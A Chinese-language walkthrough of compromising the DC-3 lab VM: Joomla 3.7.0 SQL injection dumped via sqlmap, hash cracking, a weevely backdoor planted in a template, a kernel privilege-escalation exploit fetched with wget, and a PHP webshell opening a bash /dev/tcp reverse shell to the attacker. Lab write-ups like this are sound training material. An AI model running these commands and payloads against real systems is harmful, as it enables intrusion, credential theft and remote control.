兵无常势,水无常形,能因敌而致胜者,谓之神
1. 环境准备
VMware Workstation Pro12
Kali Linux (IP:10.10.16.133)
DC-VM-3 虚拟机
NAT 网络
2. 靶机渗透
2.1 信息收集
2.1.1 主机发现
netdiscover -r 10.10.16.133
2.1.2 端口扫描
nmap -A -v -sS -sV -p- -T4 10.10.16.139
发现只开放了 80 端口
2.1.3 目录爆破
nitko -h 10.10.16.139
进入 administrator 目录,发现是一个后台登录界面
README.txt 是一个在各种软件行业都会有的阅读指南文件,在这里发现 Joomla 的版本是 3.7.0。
2.2 漏洞挖掘
在 Joomla 3.7 版本中存在 SQL 注入漏洞
项目: Joomla!
子项目: CMS
严重程度: 高
影响版本: 3.7.0
漏洞类型: SQL注入
CVE号码: CVE-2017-8917
2.3 漏洞利用
- 查看 Poc
cat /usr/share/exploitdb/platforms/php/webapps/42033.txt
- 利用 sqlmap 爆库
sqlmap -u "http://10.10.16.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
- 爆表
sqlmap -u "http://10.10.16.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -D joomladb --tables -p list[fullordering]
- 爆列
sqlmap -u "http://10.10.16.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -D joomladb --tables -T '#__users' --columns -p list[fullordering]
- 爆数据
sqlmap -u "http://10.10.16.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -D joomladb --tables -T '#__users' --columns -C 'name,password' --dump -p list[fullordering]
- 得到的密码是经过 hash 加密的,使用 john 解密
- 使用帐密:admin/snoopy 登录,发现不能跳转至控制面板。
- 点击 Extensions – Template – Templates ,选择第一个模板。
- 使用 weevely (Linux 版菜刀)生成后门 zhutou.php
weevely generate 123456 /tmp/zhutou.php
- 在 templates 中新建一个 zhutou.php 文件,将生成的后门代码粘贴进入,保存
2.4 Getshell 提权
weevely 连接后门
weevely http://10.10.16.139/templates/beez3/zhutou.php 123456
通过命令 uname -a 得知当前系统版本
根据系统版本寻找相应的漏洞利用
查看 39772.txt
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
根据链接下载脚本
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip /tmp
将 tmp 目录作为共享目录,开启 80 服务
python -m SimpleHTTPServer 80
在靶机的 shell 中下载保存在 Kali 中的攻击脚本。
wget http://10.10.16.133/39772.zip
然后就是解压文件了
unzip 39772.zip
tar -xvf exploit.tar
运行脚本即可提权
./compile.sh
./doubleput
3. 补充
反弹 shell 的另一种做法。
- 进入 template/beez3 模板之后,创建 webshell.php 文件,添加进如下代码,保存。
<?php
system("bash -c 'bash -i >& /dev/tcp/(Kali IP)/8080 0>&1' ");
?>
- 在 Kali 使用 netcat(瑞士军刀) 监听 8080 端口
nc -lvp 8080
- 访问 webshell.php 的位置,在 Kali 中就可以看到反弹 shell 成功
http://10.10.16.139/templates/beez3/webshell.php
猪头
2020.2.20